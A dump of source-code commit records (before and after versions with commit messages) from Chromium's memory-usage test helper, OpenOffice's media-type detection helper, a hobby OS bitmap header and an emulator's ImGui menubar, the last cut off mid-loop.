*peak_virtual_size = pmc.PeakPagefileUsage;\n *current_virtual_size = pmc.PagefileUsage;\n *peak_working_set_size = pmc.PeakWorkingSetSize;\n *current_working_set_size = pmc.WorkingSetSize;\n result = true;\n }\n\n CloseHandle(process_handle);\n return result;\n}\n\nsize_t GetSystemCommitCharge() {\n \/\/ Get the System Page Size.\n SYSTEM_INFO system_info;\n GetSystemInfo(&system_info);\n\n \/\/ TODO(mbelshe): This does not work on win2k.\n \/\/ PERFORMANCE_INFORMATION info;\n \/\/ if (GetPerformanceInfo(&info, sizeof(info)))\n \/\/ return info.CommitTotal * system_info.dwPageSize;\n return -1;\n}\n\nvoid PrintChromeMemoryUsageInfo() {\n printf(\"\\n\");\n BrowserProcessFilter chrome_filter(L\"\");\n process_util::NamedProcessIterator\n chrome_process_itr(chrome::kBrowserProcessExecutableName, &chrome_filter);\n\n const PROCESSENTRY32* chrome_entry;\n while (chrome_entry = chrome_process_itr.NextProcessEntry()) {\n uint32 pid = chrome_entry->th32ProcessID;\n size_t peak_virtual_size;\n size_t current_virtual_size;\n size_t peak_working_set_size;\n size_t current_working_set_size;\n if (GetMemoryInfo(pid, &peak_virtual_size, ¤t_virtual_size,\n &peak_working_set_size, ¤t_working_set_size)) {\n if (pid == chrome_filter.browser_process_id()) {\n wprintf(L\"browser_vm_peak = %d\\n\", peak_virtual_size);\n wprintf(L\"browser_vm_current = %d\\n\", current_virtual_size);\n wprintf(L\"browser_ws_peak = %d\\n\", peak_working_set_size);\n wprintf(L\"browser_ws_final = %d\\n\", current_working_set_size);\n } else {\n wprintf(L\"render_vm_peak = %d\\n\", peak_virtual_size);\n wprintf(L\"render_vm_current = %d\\n\", current_virtual_size);\n wprintf(L\"render_ws_peak = %d\\n\", peak_working_set_size);\n wprintf(L\"render_ws_final = %d\\n\", current_working_set_size);\n }\n }\n };\n}\n<commit_msg>Don't link directly against GetPerformanceInfo so that win2k can be happy.<commit_after>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <windows.h>\n#include <psapi.h>\n\n#include \"base\/basictypes.h\"\n#include \"base\/process_util.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_process_filter.h\"\n#include \"chrome\/test\/perf\/mem_usage.h\"\n\nbool GetMemoryInfo(uint32 process_id,\n size_t *peak_virtual_size,\n size_t *current_virtual_size,\n size_t *peak_working_set_size,\n size_t *current_working_set_size) {\n if (!peak_virtual_size || !current_virtual_size)\n return false;\n\n HANDLE process_handle = OpenProcess(PROCESS_QUERY_INFORMATION |\n PROCESS_VM_READ,\n FALSE, process_id);\n if (!process_handle)\n return false;\n\n PROCESS_MEMORY_COUNTERS_EX pmc;\n bool result = false;\n if (GetProcessMemoryInfo(process_handle,\n reinterpret_cast<PPROCESS_MEMORY_COUNTERS>(&pmc),\n sizeof(pmc))) {\n *peak_virtual_size = pmc.PeakPagefileUsage;\n *current_virtual_size = pmc.PagefileUsage;\n *peak_working_set_size = pmc.PeakWorkingSetSize;\n *current_working_set_size = pmc.WorkingSetSize;\n result = true;\n }\n\n CloseHandle(process_handle);\n return result;\n}\n\n\/\/ GetPerformanceInfo is not available on WIN2K. So we'll\n\/\/ load it on-the-fly.\nconst wchar_t kPsapiDllName[] = L\"psapi.dll\";\ntypedef BOOL (WINAPI *GetPerformanceInfoFunction) (\n PPERFORMANCE_INFORMATION pPerformanceInformation,\n DWORD cb);\n\nstatic BOOL InternalGetPerformanceInfo(\n PPERFORMANCE_INFORMATION pPerformanceInformation, DWORD cb) {\n static GetPerformanceInfoFunction GetPerformanceInfo_func = NULL;\n if (!GetPerformanceInfo_func) {\n HMODULE psapi_dll = ::GetModuleHandle(kPsapiDllName);\n if (psapi_dll)\n GetPerformanceInfo_func = reinterpret_cast<GetPerformanceInfoFunction>(\n GetProcAddress(psapi_dll, \"GetPerformanceInfo\"));\n\n if (!GetPerformanceInfo_func) {\n \/\/ The function could be loaded!\n memset(pPerformanceInformation, 0, cb);\n return FALSE;\n }\n }\n return GetPerformanceInfo_func(pPerformanceInformation, cb);\n}\n\n\nsize_t GetSystemCommitCharge() {\n \/\/ Get the System Page Size.\n SYSTEM_INFO system_info;\n GetSystemInfo(&system_info);\n\n PERFORMANCE_INFORMATION info;\n if (InternalGetPerformanceInfo(&info, sizeof(info)))\n return info.CommitTotal * system_info.dwPageSize;\n return -1;\n}\n\nvoid PrintChromeMemoryUsageInfo() {\n printf(\"\\n\");\n BrowserProcessFilter chrome_filter(L\"\");\n process_util::NamedProcessIterator\n chrome_process_itr(chrome::kBrowserProcessExecutableName, &chrome_filter);\n\n const PROCESSENTRY32* chrome_entry;\n while (chrome_entry = chrome_process_itr.NextProcessEntry()) {\n uint32 pid = chrome_entry->th32ProcessID;\n size_t peak_virtual_size;\n size_t current_virtual_size;\n size_t peak_working_set_size;\n size_t current_working_set_size;\n if (GetMemoryInfo(pid, &peak_virtual_size, ¤t_virtual_size,\n &peak_working_set_size, ¤t_working_set_size)) {\n if (pid == chrome_filter.browser_process_id()) {\n wprintf(L\"browser_vm_peak = %d\\n\", peak_virtual_size);\n wprintf(L\"browser_vm_current = %d\\n\", current_virtual_size);\n wprintf(L\"browser_ws_peak = %d\\n\", peak_working_set_size);\n wprintf(L\"browser_ws_final = %d\\n\", current_working_set_size);\n } else {\n wprintf(L\"render_vm_peak = %d\\n\", peak_virtual_size);\n wprintf(L\"render_vm_current = %d\\n\", current_virtual_size);\n wprintf(L\"render_ws_peak = %d\\n\", peak_working_set_size);\n wprintf(L\"render_ws_final = %d\\n\", current_working_set_size);\n }\n }\n };\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: mediatypedetectionhelper.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 01:44:52 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ my own includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef __FRAMEWORK_SERVICES_MEDIATYPEDETECTIONHELPER_HXX_\n#include <services\/mediatypedetectionhelper.hxx>\n#endif\n\n#ifndef __FRAMEWORK_SERVICES_H_\n#include <services.h>\n#endif\n\n#ifndef _INETTYPE_HXX\n#include <svtools\/inettype.hxx>\n#endif\n\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ interface includes\n\/\/_________________________________________________________________________________________________________________\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ namespace\n\/\/_________________________________________________________________________________________________________________\n\nnamespace framework\n{\n\nusing namespace ::com::sun::star ;\nusing namespace ::rtl ;\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ declarations\n\/\/_________________________________________________________________________________________________________________\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::MediaTypeDetectionHelper( const uno::Reference< lang::XMultiServiceFactory >& xFactory )\n : m_xFactory( xFactory )\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::~MediaTypeDetectionHelper()\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ XInterface, XTypeProvider, XServiceInfo\n\/\/*****************************************************************************************************************\n\nDEFINE_XINTERFACE_3 ( MediaTypeDetectionHelper\n , OWeakObject\n , DIRECT_INTERFACE( lang::XTypeProvider )\n , DIRECT_INTERFACE( lang::XServiceInfo )\n , DIRECT_INTERFACE( util::XStringMapping )\n )\n\nDEFINE_XTYPEPROVIDER_3 ( MediaTypeDetectionHelper\n , lang::XTypeProvider\n , lang::XServiceInfo\n , util::XStringMapping\n )\n\nDEFINE_XSERVICEINFO_ONEINSTANCESERVICE ( MediaTypeDetectionHelper\n , ::cppu::OWeakObject\n , SERVICENAME_MEDIATYPEDETECTIONHELPER\n , IMPLEMENTATIONNAME_MEDIATYPEDETECTIONHELPER\n )\n\nDEFINE_INIT_SERVICE ( MediaTypeDetectionHelper,\n {\n }\n )\n\n\/\/*****************************************************************************************************************\n\/\/ XStringMapping\n\/\/*****************************************************************************************************************\n\n\/\/virtual\nsal_Bool SAL_CALL MediaTypeDetectionHelper::mapStrings(\n uno::Sequence< OUString >& rSeq )\n throw(uno::RuntimeException)\n{\n sal_Bool bModified = sal_False;\n for( sal_Int32 i = rSeq.getLength(); i--; )\n {\n\n OUString& rUrl = rSeq[i];\n INetContentType eType = INetContentTypes::GetContentTypeFromURL( rUrl );\n\n UniString aType( INetContentTypes::GetContentType( eType ) );\n if( aType.Len() )\n {\n rUrl = aType;\n bModified = sal_True;\n }\n }\n return bModified;\n}\n\n} \/\/ namespace framework\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.7.202); FILE MERGED 2006\/09\/01 17:29:19 kaib 1.7.202.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: mediatypedetectionhelper.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: obo $ $Date: 2006-09-16 14:10:33 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_framework.hxx\"\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ my own includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef __FRAMEWORK_SERVICES_MEDIATYPEDETECTIONHELPER_HXX_\n#include <services\/mediatypedetectionhelper.hxx>\n#endif\n\n#ifndef __FRAMEWORK_SERVICES_H_\n#include <services.h>\n#endif\n\n#ifndef _INETTYPE_HXX\n#include <svtools\/inettype.hxx>\n#endif\n\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ interface includes\n\/\/_________________________________________________________________________________________________________________\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ namespace\n\/\/_________________________________________________________________________________________________________________\n\nnamespace framework\n{\n\nusing namespace ::com::sun::star ;\nusing namespace ::rtl ;\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ declarations\n\/\/_________________________________________________________________________________________________________________\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::MediaTypeDetectionHelper( const uno::Reference< lang::XMultiServiceFactory >& xFactory )\n : m_xFactory( xFactory )\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::~MediaTypeDetectionHelper()\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ XInterface, XTypeProvider, XServiceInfo\n\/\/*****************************************************************************************************************\n\nDEFINE_XINTERFACE_3 ( MediaTypeDetectionHelper\n , OWeakObject\n , DIRECT_INTERFACE( lang::XTypeProvider )\n , DIRECT_INTERFACE( lang::XServiceInfo )\n , DIRECT_INTERFACE( util::XStringMapping )\n )\n\nDEFINE_XTYPEPROVIDER_3 ( MediaTypeDetectionHelper\n , lang::XTypeProvider\n , lang::XServiceInfo\n , util::XStringMapping\n )\n\nDEFINE_XSERVICEINFO_ONEINSTANCESERVICE ( MediaTypeDetectionHelper\n , ::cppu::OWeakObject\n , SERVICENAME_MEDIATYPEDETECTIONHELPER\n , IMPLEMENTATIONNAME_MEDIATYPEDETECTIONHELPER\n )\n\nDEFINE_INIT_SERVICE ( MediaTypeDetectionHelper,\n {\n }\n )\n\n\/\/*****************************************************************************************************************\n\/\/ XStringMapping\n\/\/*****************************************************************************************************************\n\n\/\/virtual\nsal_Bool SAL_CALL MediaTypeDetectionHelper::mapStrings(\n uno::Sequence< OUString >& rSeq )\n throw(uno::RuntimeException)\n{\n sal_Bool bModified = sal_False;\n for( sal_Int32 i = rSeq.getLength(); i--; )\n {\n\n OUString& rUrl = rSeq[i];\n INetContentType eType = INetContentTypes::GetContentTypeFromURL( rUrl );\n\n UniString aType( INetContentTypes::GetContentType( eType ) );\n if( aType.Len() )\n {\n rUrl = aType;\n bModified = sal_True;\n }\n }\n return bModified;\n}\n\n} \/\/ namespace framework\n\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef BITMAP_H\n#define BITMAP_H\n\nstruct static_bitmap {\n typedef uint64_t data_type;\n\n static constexpr const size_t bits_per_word = sizeof(data_type) * 8;\n\n size_t words;\n data_type* data;\n\n template<typename Array>\n void init(Array& array){\n words = array.size();\n data = array.data();\n }\n\n void init(size_t w, data_type* d){\n words = w;\n data = d;\n }\n\n static constexpr size_t word_offset(size_t bit){\n return bit \/ bits_per_word;\n }\n\n static constexpr size_t bit_offset(size_t bit){\n return bit % bits_per_word;\n }\n\n static constexpr data_type bit_mask(size_t bit){\n return static_cast<data_type>(1) << bit_offset(bit);\n }\n\n void clear_all(){\n for(size_t i = 0; i < words; ++i){\n data[i] = 0;\n }\n }\n\n void set_all(){\n for(size_t i = 0; i < words; ++i){\n data[i] = ~static_cast<data_type>(0);\n }\n }\n\n size_t free_bit() const {\n for(size_t w = 0; w < words; ++w){\n if(data[w] > 0){\n for(size_t b = 0; b < bits_per_word; ++b){\n if(data[w] & bit_mask(b)){\n return w * bits_per_word + b;\n }\n }\n }\n }\n\n \/\/TODO Use an assert here\n return 0;\n }\n\n size_t free_word() const {\n for(size_t w = 0; w < words; ++w){\n if(data[w] == ~static_cast<data_type>(0)){\n return w * bits_per_word;\n }\n }\n\n \/\/TODO Use an assert here\n return 0;\n }\n\n bool is_set(size_t bit) const {\n return data[word_offset(bit)] & bit_mask(bit);\n }\n\n void set(size_t bit){\n data[word_offset(bit)] |= bit_mask(bit);\n }\n\n void unset(size_t bit){\n data[word_offset(bit)] &= ~bit_mask(bit);\n }\n};\n\n#endif\n<commit_msg>Add assertions<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef BITMAP_H\n#define BITMAP_H\n\n#include \"assert.hpp\"\n\nstruct static_bitmap {\n typedef uint64_t data_type;\n\n static constexpr const size_t bits_per_word = sizeof(data_type) * 8;\n\n size_t words;\n data_type* data;\n\n template<typename Array>\n void init(Array& array){\n words = array.size();\n data = array.data();\n }\n\n void init(size_t w, data_type* d){\n words = w;\n data = d;\n }\n\n static constexpr size_t word_offset(size_t bit){\n return bit \/ bits_per_word;\n }\n\n static constexpr size_t bit_offset(size_t bit){\n return bit % bits_per_word;\n }\n\n static constexpr data_type bit_mask(size_t bit){\n return static_cast<data_type>(1) << bit_offset(bit);\n }\n\n void clear_all(){\n for(size_t i = 0; i < words; ++i){\n data[i] = 0;\n }\n }\n\n void set_all(){\n for(size_t i = 0; i < words; ++i){\n data[i] = ~static_cast<data_type>(0);\n }\n }\n\n size_t free_bit() const {\n for(size_t w = 0; w < words; ++w){\n if(data[w] > 0){\n for(size_t b = 0; b < bits_per_word; ++b){\n if(data[w] & bit_mask(b)){\n return w * bits_per_word + b;\n }\n }\n }\n }\n\n thor_unreachable(\"static_bitmap has not free bit\");\n }\n\n size_t free_word() const {\n for(size_t w = 0; w < words; ++w){\n if(data[w] == ~static_cast<data_type>(0)){\n return w * bits_per_word;\n }\n }\n\n thor_unreachable(\"static_bitmap has no free word\");\n }\n\n bool is_set(size_t bit) const {\n return data[word_offset(bit)] & bit_mask(bit);\n }\n\n void set(size_t bit){\n data[word_offset(bit)] |= bit_mask(bit);\n }\n\n void unset(size_t bit){\n data[word_offset(bit)] &= ~bit_mask(bit);\n }\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Main Menu-bar\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n\n#include <vector>\n\n#include <SDL2\/SDL.h>\n\n#include \"imgui.h\"\n\nextern \"C\" {\n\n#include \"util.h\"\n#include \"snepulator.h\"\n#include \"config.h\"\n\n#include \"gamepad.h\"\n#include \"video\/tms9928a.h\"\n#include \"video\/sms_vdp.h\"\n#include \"cpu\/z80.h\"\n\n#include \"sg-1000.h\"\n#include \"sms.h\"\n#include \"colecovision.h\"\n\nextern Z80_Regs z80_regs;\nextern TMS9928A_Mode sms_vdp_mode_get (void);\n\n\/* TODO: Access through a function instead of accessing the array *\/\nextern Gamepad_Instance gamepad_list[128];\nextern uint32_t gamepad_list_count;\nextern Snepulator_Gamepad gamepad_1;\nextern Snepulator_Gamepad gamepad_2;\n}\n\n#include \"gui\/input.h\"\n#include \"gui\/menubar.h\"\n#include \"gui\/open.h\"\nextern Snepulator_State state;\nextern File_Open_State open_state;\nextern bool config_capture_events; \/* TODO: Move into state *\/\n\nvoid snepulator_load_rom (char *path);\nvoid snepulator_load_sms_bios (char *path);\nvoid snepulator_load_colecovision_bios (char *path);\n\n\/*\n * Render the menubar.\n *\/\nvoid snepulator_render_menubar (void)\n{\n bool open_modal = false;\n bool input_modal = false;\n\n if (ImGui::BeginMainMenuBar ())\n {\n if (ImGui::BeginMenu (\"File\"))\n {\n if (ImGui::MenuItem (\"Load ROM...\", NULL))\n {\n state.running = false;\n open_state.title = \"Load ROM...\";\n snepulator_set_open_regex (\".*\\\\.(bin|col|gg|sg|sms)$\");\n open_state.callback = snepulator_load_rom;\n open_modal = true;\n }\n if (ImGui::BeginMenu (\"Load BIOS...\"))\n {\n if (ImGui::MenuItem (\"Master System\", NULL))\n {\n state.running = false;\n open_state.title = \"Load Master System BIOS...\";\n snepulator_set_open_regex (\".*\\\\.(bin|sms)$\");\n open_state.callback = snepulator_load_sms_bios;\n open_modal = true;\n }\n if (ImGui::MenuItem (\"ColecoVision\", NULL))\n {\n state.running = false;\n open_state.title = \"Load ColecoVision BIOS...\";\n snepulator_set_open_regex (\".*\\\\.(col)$\");\n open_state.callback = snepulator_load_colecovision_bios;\n open_modal = true;\n }\n if (ImGui::BeginMenu (\"Clear\"))\n {\n if (ImGui::MenuItem (\"Master System\", NULL))\n {\n config_entry_remove (\"sms\", \"bios\");\n config_write ();\n if (state.sms_bios_filename != NULL)\n {\n free (state.sms_bios_filename);\n state.sms_bios_filename = NULL;\n }\n }\n if (ImGui::MenuItem (\"ColecoVision\", NULL))\n {\n config_entry_remove (\"colecovision\", \"bios\");\n config_write ();\n if (state.colecovision_bios_filename != NULL)\n {\n free (state.colecovision_bios_filename);\n state.colecovision_bios_filename = NULL;\n }\n }\n ImGui::EndMenu ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Pause\", NULL, !state.running)) {\n if (state.ready) {\n if (state.running)\n {\n snepulator_pause ();\n }\n else\n {\n state.running = true;\n }\n }\n }\n ImGui::Separator ();\n if (ImGui::MenuItem (\"Quit\", NULL)) { state.abort = true; }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Audio\"))\n {\n if (ImGui::BeginMenu (\"Device\"))\n {\n int count = SDL_GetNumAudioDevices (0);\n for (int i = 0; i < count; i++)\n {\n const char *audio_device_name = SDL_GetAudioDeviceName (i, 0);\n if (audio_device_name == NULL)\n audio_device_name = \"Unknown Audio Device\";\n\n if (ImGui::MenuItem (audio_device_name, NULL)) { }\n }\n ImGui::EndMenu ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Video\"))\n {\n if (ImGui::BeginMenu (\"Filter\"))\n {\n if (ImGui::MenuItem (\"GL_NEAREST\", NULL, state.video_filter == VIDEO_FILTER_NEAREST))\n {\n state.video_filter = VIDEO_FILTER_NEAREST;\n config_string_set (\"video\", \"filter\", \"GL_NEAREST\");\n config_write ();\n }\n if (ImGui::MenuItem (\"GL_LINEAR\", NULL, state.video_filter == VIDEO_FILTER_LINEAR))\n {\n state.video_filter = VIDEO_FILTER_LINEAR;\n config_string_set (\"video\", \"filter\", \"GL_LINEAR\");\n config_write ();\n }\n if (ImGui::MenuItem (\"Scanlines\", NULL, state.video_filter == VIDEO_FILTER_SCANLINES))\n {\n state.video_filter = VIDEO_FILTER_SCANLINES;\n config_string_set (\"video\", \"filter\", \"Scanlines\");\n config_write ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"3D Mode\"))\n {\n if (ImGui::MenuItem (\"Left image only\", NULL, state.video_3d_mode == VIDEO_3D_LEFT_ONLY))\n {\n state.video_3d_mode = VIDEO_3D_LEFT_ONLY;\n }\n if (ImGui::MenuItem (\"Right image only\", NULL, state.video_3d_mode == VIDEO_3D_RIGHT_ONLY))\n {\n state.video_3d_mode = VIDEO_3D_RIGHT_ONLY;\n }\n if (ImGui::MenuItem (\"Red-Cyan\", NULL, state.video_3d_mode == VIDEO_3D_RED_CYAN))\n {\n state.video_3d_mode = VIDEO_3D_RED_CYAN;\n }\n if (ImGui::MenuItem (\"Red-Green\", NULL, state.video_3d_mode == VIDEO_3D_RED_GREEN))\n {\n state.video_3d_mode = VIDEO_3D_RED_GREEN;\n }\n if (ImGui::MenuItem (\"Magenta-Green\", NULL, state.video_3d_mode == VIDEO_3D_MAGENTA_GREEN))\n {\n state.video_3d_mode = VIDEO_3D_MAGENTA_GREEN;\n }\n\n ImGui::Separator ();\n\n if (ImGui::BeginMenu (\"Colour\"))\n {\n if (ImGui::MenuItem (\"Saturation 0%\", NULL, state.video_3d_saturation == 0.0))\n {\n state.video_3d_saturation = 0.0;\n }\n if (ImGui::MenuItem (\"Saturation 25%\", NULL, state.video_3d_saturation == 0.25))\n {\n state.video_3d_saturation = 0.25;\n }\n if (ImGui::MenuItem (\"Saturation 50%\", NULL, state.video_3d_saturation == 0.50))\n {\n state.video_3d_saturation = 0.50;\n }\n if (ImGui::MenuItem (\"Saturation 75%\", NULL, state.video_3d_saturation == 0.75))\n {\n state.video_3d_saturation = 0.75;\n }\n if (ImGui::MenuItem (\"Saturation 100%\", NULL, state.video_3d_saturation == 1.0))\n {\n state.video_3d_saturation = 1.0;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Take Screenshot\"))\n {\n snepulator_take_screenshot ();\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Console\"))\n {\n if (ImGui::MenuItem (\"Hard Reset\"))\n {\n system_init ();\n }\n ImGui::Separator ();\n\n if (ImGui::MenuItem (\"World\", NULL, state.region == REGION_WORLD)) {\n state.region = REGION_WORLD;\n config_string_set (\"sms\", \"region\", \"World\");\n config_write ();\n }\n if (ImGui::MenuItem (\"Japan\", NULL, state.region == REGION_JAPAN)) {\n state.region = REGION_JAPAN;\n config_string_set (\"sms\", \"region\", \"Japan\");\n config_write ();\n }\n ImGui::Separator ();\n\n if (ImGui::MenuItem (\"Auto\", NULL, state.format_auto)) {\n state.format_auto = true;\n config_string_set (\"sms\", \"format\", \"Auto\");\n config_write ();\n }\n if (ImGui::MenuItem (\"NTSC\", NULL, state.format == VIDEO_FORMAT_NTSC)) {\n state.format = VIDEO_FORMAT_NTSC;\n state.format_auto = false;\n config_string_set (\"sms\", \"format\", \"NTSC\");\n config_write ();\n }\n if (ImGui::MenuItem (\"PAL\", NULL, state.format == VIDEO_FORMAT_PAL)) {\n state.format = VIDEO_FORMAT_PAL;\n state.format_auto = false;\n config_string_set (\"sms\", \"format\", \"PAL\");\n config_write ();\n }\n ImGui::Separator ();\n\n if (ImGui::BeginMenu (\"Info\"))\n {\n ImGui::Text (\"CPU\");\n ImGui::Text (\"PC : %04x SP : %04x\", z80_regs.pc, z80_regs.sp);\n ImGui::Text (\"AF : %04x BC : %04x\", z80_regs.af, z80_regs.bc);\n ImGui::Text (\"DE : %04x HL : %04x\", z80_regs.de, z80_regs.hl);\n ImGui::Text (\"IX : %04x IY : %04x\", z80_regs.ix, z80_regs.iy);\n ImGui::Text (\"IM : %d IFF: %d\/%d\", z80_regs.im, z80_regs.iff1, z80_regs.iff2);\n\n ImGui::Separator ();\n\n ImGui::Text (\"Video\");\n ImGui::Text (\"Mode : %s\", tms9928a_mode_name_get (sms_vdp_mode_get ()));\n\n ImGui::EndMenu ();\n }\n if (ImGui::BeginMenu (\"Statistics\"))\n {\n ImGui::Text (\"Video\");\n ImGui::Text (\"Host: %.2f fps\", state.host_framerate);\n ImGui::Text (\"VDP: %.2f fps\", state.vdp_framerate);\n ImGui::Separator ();\n ImGui::Text (\"Audio\");\n ImGui::Text (\"Ring buffer: %.2f%% full\", state.audio_ring_utilisation * 100.0);\n\n ImGui::EndMenu ();\n }\n if (ImGui::MenuItem (\"Time Five Minutes\", NULL))\n {\n uint32_t start_time;\n uint32_t end_time;\n state.running = false;\n start_time = SDL_GetTicks ();\n state.run (5 * 60000); \/* Simulate five minutes *\/\n end_time = SDL_GetTicks ();\n state.running = true;\n\n fprintf (stdout, \"[DEBUG] Took %d ms to emulate five minutes. (%fx speed-up)\\n\",\n end_time - start_time, (5.0 * 60000.0) \/ (end_time - start_time));\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Input\"))\n {\n\n if (ImGui::BeginMenu (\"Player 1\"))\n {\n if (ImGui::BeginMenu (\"Type\"))\n {\n if (ImGui::MenuItem (\"Auto\", NULL, gamepad_1.type_auto))\n {\n gamepad_1.type_auto = true;\n }\n if (ImGui::MenuItem (\"SMS Gamepad\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS;\n gamepad_1.type_auto = false;\n }\n if (ImGui::MenuItem (\"SMS Light Phaser\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS_PHASER))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS_PHASER;\n gamepad_1.type_auto = false;\n }\n if (ImGui::MenuItem (\"SMS Paddle\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS_PADDLE))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS_PADDLE;\n gamepad_1.type_auto = false;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::Separator ();\n\n for (int i = 0; i < 